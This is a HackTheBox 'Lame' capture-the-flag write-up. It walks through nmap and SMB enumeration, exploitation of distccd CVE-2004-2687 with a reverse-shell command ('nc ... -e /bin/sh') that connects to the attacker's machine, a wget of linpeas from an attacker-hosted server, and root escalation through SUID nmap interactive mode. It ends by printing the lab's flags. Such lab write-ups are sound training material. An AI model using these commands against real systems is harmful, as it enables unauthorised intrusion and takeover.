Wednesday, July 27, 2022 9:27 PM

Started off with a nmap scan nmap -Pn -T5 -sV -sC -A -p- -oN lame nmap.txt 10.10.10.3

While that was scanning I went to go check out to see if the website is up. But I don't get anything back and you'll see why when the results are done.

We get back some nice info to start us off.

Port 80 isn't open so there was no site for me to check.

But there was other ports open such as port 21 with the version number of vsftpd 2.3.4 (This version of vsftpd is vulnerable to backdoor command execution

CVE-2011-2523) I couldn't get it to work though. So I moved on. If you can't get something to work, don't spend to much time on it. Look at the next route you can take and if you get stuck

again then go back and try to repeat your steps to make sure you didn't make a typo somewhere.

```
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
   Host script results:
   | smb-security-mode:
      account_used: guest
      authentication_level: user
      challenge_response: supported
       message_signing: disabled (dangerous, but default)
   |_smb2-time: Protocol negotiation failed (SMB2)
      OS: Unix (Samba 3.0.20-Debian)
       Computer name: lame
      NetBIOS computer name:
      Domain name: hackthebox.gr
      FQDN: lame.hackthebox.gr
       System time: 2022-07-27T20:43:45-04:00
   clock-skew: mean: 2h00m23s, deviation: 2h49m46s, median: 20s
49 TRACEROUTE (using port 445/tcp)
   HOP RTT
                ADDRESS
   1 66.89 ms 10.10.14.1
      67.79 ms 10.10.10.3
  OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jul 27 17:43:59 2022 -- 1 IP address (1 host up) scanned in 252.76 seconds
```

I see that smb is open. 139/445. I run smbmap -H 10.10.10.3 and get back some users.

we can see that tmp is READ, WRITE. Lets login and see what we can find.

I use smbclient \\\\10.10.10.3\\tmp and we get a hit. I use Is to see what we can find. Unfortunately there is nothing here either. We could use

put and get files here but there is no port 80 open for us to execute the files to gain a shell from here. Some bad luck but we got more info so lets keep looking.

```
ents/htb/lame] -> smbclient \\\10.10.10.3\\tmp
assword for [WORKGROUP\Shellshock]:
Anonymous login successful
Try "help" to get a list of possible commands.
mb: \> ls
                                      D
                                               0 Wed Jul 27 22:26:31 2022
                                               0 Fri Oct 30 23:33:58 2020
 distcc_ff04f12b.stdout
                                               0
                                                  Wed Jul 27 19:15:07 2022
 distccd_ffebf12b.i
                                      R
                                              10
                                                  Wed Jul 27 19:15:07 2022
 .ICE-unix
                                     DH
                                               0
                                                  Wed Jul 27 17:39:43 2022
 vmware-root
                                     DR
                                               0
                                                  Wed Jul 27 17:40:08 2022
 distccd_ffd3f12b.o
                                      R
                                                  Wed Jul
                                                             19:15:07
                                                  Wed Jul 27 17:40:08 2022
 X11-unix
                                     DH
                                               0
 sudo_2021_3156.py
                                     AR
                                            8179
                                                  Sat Jul 23 23:20:08 2022
 .X0-lock
                                     HR
                                              11
                                                  Wed Jul 27 17:40:08 2022
 tmp.aIsng23549
                                                  Wed Jul 27 20:26:13 2022
                                      R
                                              22
 distcc_ff3cf12b.stderr
                                                  Wed Jul 27 19:16:44 2022
                                      R
                                             119
                                      R
 5564.jsvc_up
                                               0
                                                  Wed Jul 27 17:40:45 2022
                                            1600
                                                  Wed Jul 27 17:39:41 2022
 vgauthsvclog.txt.0
               7282168 blocks of size 1024. 5386420 blocks available
```

I go back to the nmap results and see port 3632 is open and it gave us the version of application running. distccd v1 I go to google and search for "distccd v1 exploit" first link brings us to

https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855

after reading the exploit it seems to generate a random alpha numeric string. Reads the string. And looks for the trigger exploit which is command, host, port

If it is able to connect to the host it will send the payload and hopefully give us a reverse shell.

Let's give it a try. I started by copying the code and writing it to a file naming it CVE-2004-2687.py, did chmod +x CVE-2004-2687.py the file is ready to be used. First I started a listener on my attacking machine with nc -lvnp 9001 and then used the following command

./CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" No good, got errors. Then I tried. python3 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" I got a connected to remote service Ok but then the

socket timed out instantly killing the connection. I went back to the exploit and read the comments, it mentioned that python3 is to new.

So I was going to work my way down from python3 to python. Next up,

python2 CVE-2004-2687.py -t 10.10.10.3 -p 3632 -c "nc 10.10.14.10 9001 -e /bin/sh" Success, we get a shell!



```
Shellshock:[/home/Shellshock/Documents/htb] -> nc -lvnp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.3.
Ncat: Connection from 10.10.10.3:44276.
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Let's upgrade the shell. I used the following.

python -c 'import pty; pty.spawn("/bin/bash")' python3 and python2 didn't work. export TERM=xterm stty raw -echo && fg enter enter

We're a normal user daemon. I started off with sudo -I but it asked for a password. Let's move on. I look around a bit and cd /home directory and do a Is and see what's there. Nothing good in the user directory but I did go into makis and find the user.txt file. I do a cat user.txt at it and we get out our first flag.

daemon@lame:/home/makis\$ cat user.txt
dc5fe551ec49d528a9b512702ebcf77c



Next, let's head over to the tmp directory and try to transfer over some enumeration files like linpeas.sh

I go to my attacking machine on my transfers directory where I store all my enumeration files, scripts, images, anything that can be used to help us get an edge on the victim machine.

I use python3 -m http.server 80 get the server up and running.

On the victim machine ill be in the /tmp directory and use wget://10.10.14.10/linpeas.sh which is my attacking machines ip from HackTheBox.

The file gets transferred over no problem. I use the chmod +x linpeas.sh making it an executable file.

I use ./linpeas.sh and it kicks off no problem. We get back a lot of results. Several vulnerabilities, but one in particular catches my eye with the yellow red highlight.

```
Executing Linux Exploit Suggester 2
[1] american-sign-language
    Source: http://www.securityfocus.com/bid/45408
    Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
    Source: http://www.exploit-db.com/exploits/40616
[4] do_pages_move
    Alt: sieve
    Source: Spenders Enlightenment
[5] exploit_x
Source: http://www.exploit-db.com/exploits/45697
[6] half_nelson1
    Alt: econet
    Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson2
Alt: econet
    Source: http://www.exploit-db.com/exploits/17787
[8] half_nelson3
    Source: http://www.exploit-db.com/exploits/17787
    Source: http://www.exploit-db.com/exploits/27297
[10] pipe.c_32bit
    Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[11] pktcdvd
    Source: http://www.exploit-db.com/exploits/15150
[12] reiserfs
    Source: http://www.exploit-db.com/exploits/12130
[13] sock_sendpage
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[14] sock_sendpage2
```

the /usr/bin/nmap suid

I head over to https://gtfobins.github.io/ and search for nmap

I cd /usr/bin where the suid is located.

I start off with shell code (a) and nothing happened. So I keep going down the list. Shell (b) worked!

```
daemon@lame:/tmp$ cd /usr/bin/
daemon@lame:/usr/bin$ nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
sh-3.2#
```

we can now cd /root and see what is there which is the root.txt flag! we have successfully rooted this box!



sh-3.2# cd /root sh-3.2# ls Desktop reset_logs.sh root.txt vnc.log sh-3.2# cat root.txt 3a6dadc17b869927153cd30ead8ce0c8 sh-3.2#